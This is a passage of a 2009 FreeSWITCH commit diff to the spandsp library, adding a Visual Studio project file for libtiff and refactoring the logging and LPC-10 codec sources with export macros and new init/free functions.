+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_open.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_packbits.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_pixarlog.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_predict.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_print.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_read.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_strip.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_swab.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_thunder.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_tile.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_unix.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_version.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_warning.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_write.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_zip.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\t4.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dir.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_predict.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiff.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffconf.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffio.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffio.hxx"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffiop.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffvers.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\uvcode.h"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/spandsp/src/libtiff.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/libtiff.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libtiff.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libtiff.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,483 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libtiff"
+	ProjectGUID="{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
+	RootNamespace="libtiff"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="0"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine="if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tiffconf.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tiffconf.h&quot; /Y&#x0D;&#x0A;if not exist &quot;$(ProjectDir)../../tiff-3.8.2/libtiff/tif_config.h&quot; copy &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h.vc&quot; &quot;$(ProjectDir)..\..\tiff-3.8.2\libtiff\tif_config.h&quot; /Y&#x0D;&#x0A;"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="."
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;FILLODER_LSB2MSB;TIF_PLATFORM_CONSOLE;CCITT_SUPPORT;PACKBITS_SUPPORT;LZW_SUPPORT;THUNDER_SUPPORT;NEXT_SUPPORT;LOGLUV_SUPPORT;TRIPCHOP_DEFAULT=TIFF_STRIPCHOP;STRIP_SIZE_DEFAULT=8192;DEFAULT_EXTRASAMPLE_AS_ALPHA;CHECK_JPEG_YCBCR_SUBSAMPLING;AVOID_WIN32_FILEIO"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_aux.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_close.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_codec.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_color.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_compress.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dir.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirinfo.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirread.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dirwrite.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dumpmode.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_error.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_extension.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3sm.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_flush.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_getimage.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_jpeg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_luv.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_lzw.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_next.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_ojpeg.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_open.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_packbits.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_pixarlog.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_predict.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_print.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_read.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_strip.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_swab.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_thunder.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_tile.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_unix.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_version.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_warning.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_write.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_zip.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\t4.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_dir.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_fax3.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tif_predict.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiff.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffconf.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffio.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffio.hxx"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffiop.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\tiffvers.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\tiff-3.8.2\libtiff\uvcode.h"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/spandsp/src/logging.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/logging.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/logging.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: logging.c,v 1.26 2008/05/13 13:17:22 steveu Exp $
+ * $Id: logging.c,v 1.32 2009/02/10 17:44:18 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <limits.h>
@@ -46,9 +46,11 @@
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
 
+#include "spandsp/private/logging.h"
+
 static void default_message_handler(int level, const char *text);
 
-static message_handler_func_t __span_message = *default_message_handler;
+static message_handler_func_t __span_message = &default_message_handler;
 static error_handler_func_t __span_error = NULL;
 
 /* Note that this list *must* match the enum definition in logging.h */
@@ -73,7 +75,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_test(logging_state_t *s, int level)
+SPAN_DECLARE(int) span_log_test(logging_state_t *s, int level)
 {
     if (s  &&  (s->level & SPAN_LOG_SEVERITY_MASK) >= (level & SPAN_LOG_SEVERITY_MASK))
         return TRUE;
@@ -81,7 +83,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log(logging_state_t *s, int level, const char *format, ...)
+SPAN_DECLARE(int) span_log(logging_state_t *s, int level, const char *format, ...)
 {
     char msg[1024 + 1];
     va_list arg_ptr;
@@ -155,7 +157,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_buf(logging_state_t *s, int level, const char *tag, const uint8_t *buf, int len)
+SPAN_DECLARE(int) span_log_buf(logging_state_t *s, int level, const char *tag, const uint8_t *buf, int len)
 {
     char msg[1024];
     int i;
@@ -175,37 +177,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_init(logging_state_t *s, int level, const char *tag)
+SPAN_DECLARE(int) span_log_set_level(logging_state_t *s, int level)
 {
-    s->span_error = __span_error;
-    s->span_message = __span_message;
     s->level = level;
-    s->tag = tag;
-    s->protocol = NULL;
-    s->samples_per_second = SAMPLE_RATE;
-    s->elapsed_samples = 0;
 
     return  0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_set_level(logging_state_t *s, int level)
+SPAN_DECLARE(int) span_log_set_tag(logging_state_t *s, const char *tag)
 {
-    s->level = level;
-
-    return  0;
-}
-/*- End of function --------------------------------------------------------*/
-
-int span_log_set_tag(logging_state_t *s, const char *tag)
-{
     s->tag = tag;
 
     return  0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_set_protocol(logging_state_t *s, const char *protocol)
+SPAN_DECLARE(int) span_log_set_protocol(logging_state_t *s, const char *protocol)
 {
     s->protocol = protocol;
 
@@ -213,7 +201,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_set_sample_rate(logging_state_t *s, int samples_per_second)
+SPAN_DECLARE(int) span_log_set_sample_rate(logging_state_t *s, int samples_per_second)
 {
     s->samples_per_second = samples_per_second;
 
@@ -221,7 +209,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int span_log_bump_samples(logging_state_t *s, int samples)
+SPAN_DECLARE(int) span_log_bump_samples(logging_state_t *s, int samples)
 {
     s->elapsed_samples += samples;
 
@@ -229,27 +217,60 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_log_set_message_handler(logging_state_t *s, message_handler_func_t func)
+SPAN_DECLARE(void) span_log_set_message_handler(logging_state_t *s, message_handler_func_t func)
 {
     s->span_message = func;
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_log_set_error_handler(logging_state_t *s, error_handler_func_t func)
+SPAN_DECLARE(void) span_log_set_error_handler(logging_state_t *s, error_handler_func_t func)
 {
     s->span_error = func;
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_set_message_handler(message_handler_func_t func)
+SPAN_DECLARE(void) span_set_message_handler(message_handler_func_t func)
 {
     __span_message = func;
 }
 /*- End of function --------------------------------------------------------*/
 
-void span_set_error_handler(error_handler_func_t func)
+SPAN_DECLARE(void) span_set_error_handler(error_handler_func_t func)
 {
     __span_error = func;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) span_log_init(logging_state_t *s, int level, const char *tag)
+{
+    if (s == NULL)
+    {
+        if ((s = (logging_state_t *) malloc(sizeof(*s))) == NULL)
+            return NULL;
+    }
+    s->span_error = __span_error;
+    s->span_message = __span_message;
+    s->level = level;
+    s->tag = tag;
+    s->protocol = NULL;
+    s->samples_per_second = SAMPLE_RATE;
+    s->elapsed_samples = 0;
+
+    return s;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) span_log_release(logging_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) span_log_free(logging_state_t *s)
+{
+    if (s)
+        free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/lpc10_analyse.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/lpc10_analyse.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/lpc10_analyse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,28 +26,29 @@
  * implementation of the LPC-10 2400 bps Voice Coder. They do not
  * exert copyright claims on their code, and it may be freely used.
  *
- * $Id: lpc10_analyse.c,v 1.19 2008/07/02 14:48:25 steveu Exp $
+ * $Id: lpc10_analyse.c,v 1.22 2009/01/28 03:41:27 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/lpc10.h"
+#include "spandsp/private/lpc10.h"
 
 #include "lpc10_encdecs.h"
 

Modified: freeswitch/branches/seven/libs/spandsp/src/lpc10_decode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/lpc10_decode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/lpc10_decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,28 +26,30 @@
  * implementation of the LPC-10 2400 bps Voice Coder. They do not
  * exert copyright claims on their code, and it may be freely used.
  *
- * $Id: lpc10_decode.c,v 1.22 2008/07/02 14:48:25 steveu Exp $
+ * $Id: lpc10_decode.c,v 1.27 2009/02/10 13:06:46 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <memory.h>
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/lpc10.h"
+#include "spandsp/private/lpc10.h"
 
 #define LPC10_ORDER     10
 
@@ -998,7 +1000,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-lpc10_decode_state_t *lpc10_decode_init(lpc10_decode_state_t *s, int error_correction)
+SPAN_DECLARE(lpc10_decode_state_t *) lpc10_decode_init(lpc10_decode_state_t *s, int error_correction)
 {
     static const int16_t rand_init[] =
     {
@@ -1073,14 +1075,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int lpc10_decode_release(lpc10_decode_state_t *s)
+SPAN_DECLARE(int) lpc10_decode_release(lpc10_decode_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) lpc10_decode_free(lpc10_decode_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int lpc10_decode(lpc10_decode_state_t *s, int16_t amp[], const uint8_t code[], int len)
+SPAN_DECLARE(int) lpc10_decode(lpc10_decode_state_t *s, int16_t amp[], const uint8_t code[], int len)
 {
     int voice[2];
     int32_t pitch;
@@ -1101,7 +1109,7 @@
         synths(s, voice, &pitch, &rms, rc, speech);
         base = i*LPC10_SAMPLES_PER_FRAME;
         for (j = 0;  j < LPC10_SAMPLES_PER_FRAME;  j++)
-            amp[base + j] = (int16_t) lrintf(32768.0f*speech[j]);
+            amp[base + j] = (int16_t) lfastrintf(32768.0f*speech[j]);
     }
 
     return len*LPC10_SAMPLES_PER_FRAME;

Modified: freeswitch/branches/seven/libs/spandsp/src/lpc10_encode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/lpc10_encode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/lpc10_encode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,28 +26,29 @@
  * implementation of the LPC-10 2400 bps Voice Coder. They do not
  * exert copyright claims on their code, and it may be freely used.
  *
- * $Id: lpc10_encode.c,v 1.23 2008/07/02 14:48:25 steveu Exp $
+ * $Id: lpc10_encode.c,v 1.28 2009/02/10 13:06:46 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <stdio.h>
 #include <inttypes.h>
 #include <memory.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/dc_restore.h"
 #include "spandsp/lpc10.h"
+#include "spandsp/private/lpc10.h"
 
 #include "lpc10_encdecs.h"
 
@@ -265,7 +266,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-lpc10_encode_state_t *lpc10_encode_init(lpc10_encode_state_t *s, int error_correction)
+SPAN_DECLARE(lpc10_encode_state_t *) lpc10_encode_init(lpc10_encode_state_t *s, int error_correction)
